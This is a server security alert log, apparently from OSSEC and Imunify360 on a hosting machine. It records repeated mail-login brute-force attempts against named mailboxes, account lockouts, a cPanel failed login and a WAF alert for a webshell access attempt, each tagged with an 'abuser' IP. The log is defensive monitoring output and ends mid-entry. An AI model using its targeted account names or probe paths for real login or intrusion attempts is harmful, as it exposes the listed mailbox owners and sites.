name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:18:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:18:17 dovecot_login authenticator failed for H=(K4sLffc5) [178.16.54.138]:56793: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-02-02 07:18:49 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [201.46.124.0]:2349: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:18:03 dovecot_login authenticator failed for H=(dCYjfxDZ) [165.154.217.204]:65435: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:18:07 dovecot_login authenticator failed for H=(0S7fjmg) [158.94.208.110]:57594: 535 Incorrect authentication data (set_id=may)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:18:11 dovecot_login authenticator failed for H=(isShLBR6) [158.94.208.215]:54397: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:18:42 dovecot_login authenticator failed for H=(OhtwA0) [165.154.217.204]:53315: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:19:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39452: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:19:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60006: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:19:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:19:17 dovecot_login authenticator failed for H=(Y1lmzs) [178.16.54.138]:54564: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:19:24 dovecot_login authenticator failed for H=(tAjZNMRNe) [158.94.208.175]:60008: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-02-02 07:19:38 dovecot_plain authenticator failed for H=(ousiostile) [80.227.102.242]:58722: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:19:15 dovecot_login authenticator failed for H=(BudkBwN1) [165.154.217.204]:57450: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:19:23 dovecot_login authenticator failed for H=(dhyMlS) [158.94.208.215]:55732: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:19:08 dovecot_login authenticator failed for H=(yApA1oSoy) [185.230.124.69]:60534: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:19:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:19:17 dovecot_login authenticator failed for H=(bkBzToq) [158.94.208.110]:52598: 535 Incorrect authentication data (set_id=may@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:20:29 dovecot_login authenticator failed for H=(2wCgvcCxi) [178.16.54.138]:60233: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/photos/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:20:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53855: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:20:25 dovecot_login authenticator failed for H=(VpoLj7D0NB) [158.94.208.175]:65418: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:20:05 dovecot_login authenticator failed for H=(RTheBwn3lJ) [158.94.208.110]:60286: 535 Incorrect authentication data (set_id=may)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:20:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:20:16 dovecot_login authenticator failed for H=(2pd1qs0) [165.154.217.204]:64584: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:20:06 dovecot_login authenticator failed for H=(Hphk2yhrnW) [185.230.124.69]:65350: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:20:11 dovecot_login authenticator failed for H=(Y2vwfBj) [158.94.208.215]:63519: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:20:12 dovecot_login authenticator failed for H=(83GKQTZRQ) [165.154.217.204]:64160: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:20:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:21:23 dovecot_login authenticator failed for H=(H6IYRCeHZt) [158.94.208.215]:57936: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:21:15 dovecot_login authenticator failed for H=(DmSptsB) [158.94.208.110]:54978: 535 Incorrect authentication data (set_id=may@eminent.st)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:21:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:21:08 dovecot_login authenticator failed for H=(88Vp0c8) [185.230.124.69]:49252: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:21:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:21:47 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:21:51 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49618: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:21:53 dovecot_login authenticator failed for H=(yOUjGW) [158.94.208.175]:61981: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:21:10 dovecot_login authenticator failed for H=(wAvcuC) [165.154.217.204]:54924: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:21:35 dovecot_login authenticator failed for H=(n3xvvOEaxl) [165.154.217.204]:57349: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:21:43 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55333: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:22:03 dovecot_login authenticator failed for H=(qLRRzu3w) [158.94.208.110]:62889: 535 Incorrect authentication data (set_id=may)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:22:07 dovecot_login authenticator failed for H=(lfGUBaQX2) [165.154.217.204]:60395: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:22:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50951: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:22:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:22:09 dovecot_login authenticator failed for H=(AFY9Qslh) [185.230.124.69]:64799: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:22:11 dovecot_login authenticator failed for H=(WTEh2XTYU2) [158.94.208.215]:61077: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:22:23 dovecot_login authenticator failed for H=(bwsCn8) [158.94.208.175]:56999: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:22:04 dovecot_login authenticator failed for H=(TRNXzz) [178.16.54.138]:57521: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:22:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:22:51 dovecot_login authenticator failed for H=(SLRMqgfZZ) [165.154.217.204]:64316: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:23:02 dovecot_login authenticator failed for H=(lgmPsTA) [158.94.208.175]:50396: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:23:03 dovecot_login authenticator failed for H=(gEaSqP) [165.154.217.204]:49917: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:23:07 dovecot_login authenticator failed for H=(Yd88gJnfsU) [178.16.54.138]:63451: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:23:08 dovecot_login authenticator failed for H=(CIWDzIa) [185.230.124.69]:55487: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:23:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59182: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-02 07:23:53 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:50144: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:23:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:23:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:23:23 dovecot_login authenticator failed for H=(B1SJkOo) [158.94.208.215]:56123: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:23:54 dovecot_login authenticator failed for H=(jZwT9Tw) [165.154.217.204]:53325: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-02 07:23:44 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:58162: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:24:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58404: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:24:06 dovecot_login authenticator failed for H=(PKPI5Md) [178.16.54.138]:49998: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:24:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51348: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.21.74.5
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&sub=12 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:24:08 dovecot_login authenticator failed for H=(oVpjVhClp) [185.230.124.69]:53728: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:24:13 dovecot_login authenticator failed for H=(OqAT4TrjW) [165.154.217.204]:54933: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-02-02 07:24:34 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:28316: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-02 07:24:05 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:51786: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:25:02 dovecot_login authenticator failed for H=(pgEP3l) [158.94.208.175]:52507: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-02 07:24:13 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:52896: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:24:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account central@agpc.org.my has been temporarily locked by Imunify PAM(165.154.217.204)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:24:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:24:11 dovecot_login authenticator failed for H=(tZAApvP) [158.94.208.215]:64306: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:24:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:25:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60163: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:25:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:25:05 dovecot_login authenticator failed for H=(Bdl88UKZRM) [185.230.124.69]:56420: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:25:11 dovecot_login authenticator failed for H=(FjtWZzcD) [165.154.217.204]:59030: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:25:11 dovecot_login authenticator failed for H=(w93Z1a3aZ) [165.154.217.204]:59095: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:25:23 dovecot_login authenticator failed for H=(thpDvCB) [158.94.208.215]:56503: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:25:36 dovecot_login authenticator failed for H=(Y4Gaqu) [158.94.208.175]:52435: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:25:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.187
country_id: 2750405
description:
2026-02-02  7:25:17 274179 [Warning] Aborted connection 274179 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.187' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:25:03 dovecot_login authenticator failed for H=(IMX85vs) [178.16.54.138]:56292: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:25:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account central@agpc.org.my has been temporarily locked by Imunify PAM(165.154.217.204)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:26:07 dovecot_login authenticator failed for H=(HvCAnV) [158.94.208.175]:52924: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:26:07 dovecot_login authenticator failed for H=(MIODa4Hqh7) [165.154.217.204]:63983: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:26:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:26:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:26:21 dovecot_login authenticator failed for H=(GxEpUKTGxJ) [185.230.124.69]:62551: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.49.14
country_id: 1814991
description:
2026-02-02 07:26:26 dovecot_login authenticator failed for H=([121.18.49.14]) [121.18.49.14]:13644: 535 Incorrect authentication data


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:26:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account central@agpc.org.my has been temporarily locked by Imunify PAM(165.154.217.204)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:26:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:26:09 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35430: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:26:11 dovecot_login authenticator failed for H=(z1PZye6PZY) [158.94.208.215]:57585: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:26:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52792: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-02 07:26:39 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:46835: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.4.52.17
country_id: 3624060
description:
2026-02-02 07:27:12 dovecot_plain authenticator failed for H=(R27PCKV70FQ2DWX) [186.4.52.17]:63391: 535 Incorrect authentication data (set_id=jessie@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:27:18 dovecot_login authenticator failed for H=(XVyORTj) [185.230.124.69]:61460: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:27:23 dovecot_login authenticator failed for H=(wLjOqIZ) [158.94.208.215]:52705: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:27:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:27:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:27:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account central@agpc.org.my has been temporarily locked by Imunify PAM(165.154.217.204)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-02 07:27:48 +0800] info [cpaneld] 185.204.54.153 - dkcm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkcm (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:27:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63381: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:27:24 dovecot_login authenticator failed for H=(J6eL8bTsnD) [165.154.217.204]:53825: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:27:03 dovecot_login authenticator failed for H=(KiOMNbL) [165.154.217.204]:52059: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:28:03 dovecot_login authenticator failed for H=(owLmxk51C) [165.154.217.204]:57221: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
